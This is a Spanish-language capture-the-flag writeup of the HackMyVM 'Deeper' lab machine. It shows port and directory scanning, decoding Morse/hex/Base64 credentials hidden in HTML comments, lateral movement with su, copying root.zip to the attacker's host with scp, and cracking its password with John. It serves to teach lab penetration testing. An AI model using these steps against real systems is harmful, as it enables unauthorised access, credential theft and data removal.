cd ~/blog

~/writeups/hmv/027-deeper.md

027 - Deeper

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Credential Exposure en comentarios HTML mediante Morse, hexadecimal y Base64Credential Exposure para movimiento lateral en un archivo ocultoWeak Password en un archivo ZIP
hackmyvm.eu/machines/machine.php?vm=Deeper

~2 min de lectura


Enumeración de servicios

Comenzamos escaneando los puertos de manera general y específica:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.21
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.21
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 00:42 -03
Nmap scan report for 192.168.1.21
Host is up (0.00033s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 37:d1:6f:b5:a4:96:e8:78:18:c7:77:d0:3e:20:4e:55 (ECDSA)
|_  256 cf:5d:90:f3:37:3f:a4:e2:ba:d5:d7:25:c6:4a:a0:61 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Deeper
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.48 seconds

Enumeramos con gobuster:

❯ gobuster dir -u 192.168.1.21 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 666]
/img                  (Status: 200) [Size: 1333]
...

Enumeración web y acceso SSH

El nombre de la máquina ("Deeper") es la pista: en el código fuente del index hay un comentario que nos invita a "ir más profundo":

<!-- GO "deeper" -->

En http://192.168.1.21/deeper/:

<!-- GO evendeeper -->

Y en http://192.168.1.21/deeper/evendeeper/ encontramos un usuario en morse y una contraseña codificada:

<!-- USER .- .-.. .. -.-. . -->
(ALICE)
<!-- PASS 53586470624778486230526c5a58426c63673d3d -->

Decodificamos la contraseña (hex → base64):

❯ echo "53586470624778486230526c5a58426c63673d3d" | xxd -r -p
SXdpbGxHb0RlZXBlcg==
❯ echo "SXdpbGxHb0RlZXBlcg==" | base64 -d
IwillGoDeeper

Aquí no estamos rompiendo cifrado. El hexadecimal sólo representa bytes y Base64 sólo los transforma a un alfabeto imprimible, por lo que ambas capas son reversibles sin una clave. Reconocer la salida SX...== después de decodificar el hexadecimal permite identificar la segunda codificación por su formato.

Nos conectamos por SSH como alice y obtenemos la primera flag. En su home hay un archivo oculto con el nombre del siguiente usuario y otro mensaje en hexadecimal:

❯ echo "535746745247566c634556756233566e61413d3d" | xxd -r -p
SWFtRGVlcEVub3VnaA==
❯ echo "SWFtRGVlcEVub3VnaA==" | base64 -d
IamDeepEnough

Movimiento lateral a bob

Con esa contraseña cambiamos al usuario bob:

alice@deeper:~$ su bob
Password:
bob@deeper:/home/alice$

La segunda cadena sigue el mismo patrón de hexadecimal y Base64. El archivo oculto aporta dos datos relacionados, el nombre bob y IamDeepEnough, por lo que la comprobación correcta es cambiar de identidad con su y verificar el usuario obtenido, no asumir que se trata de una nueva cuenta SSH.

Escalada de privilegios

En el home de bob hay un ZIP sospechoso que transferimos a nuestra máquina con scp:


❯ systemctl start sshd
# Víctima
bob@deeper:~$ scp root.zip wh01s17@192.168.1.10:/home/wh01s17/Documentos/maquinas/hmv/01-easy/deeper/content

El comando se ejecuta en la víctima, así que copia root.zip desde ella hacia el servidor SSH del atacante. Iniciar sshd en nuestra máquina es necesario para recibir el archivo; no forma parte de la explotación de la víctima.

Está cifrado y presenta un caso de Weak Password, así que crackeamos su contraseña con John:

❯ zip2john root.zip > hash
❯ john -w:/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
bob              (root.zip/root.txt)
...

La salida de John recupera bob, que es la contraseña del ZIP y no la contraseña de root. Esa clave permite extraer root.txt. Las notas originales no conservaron el contenido exacto del archivo, pero registran que contiene las credenciales de root; las usamos para cambiar de usuario y capturar la flag sin inventar el valor ausente.

Las capas de Morse, hexadecimal y Base64 solo ocultan la representación del secreto. La única barrera criptográfica de esta etapa es la contraseña del ZIP, y su debilidad permite recuperar el archivo con un ataque fuera de línea.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados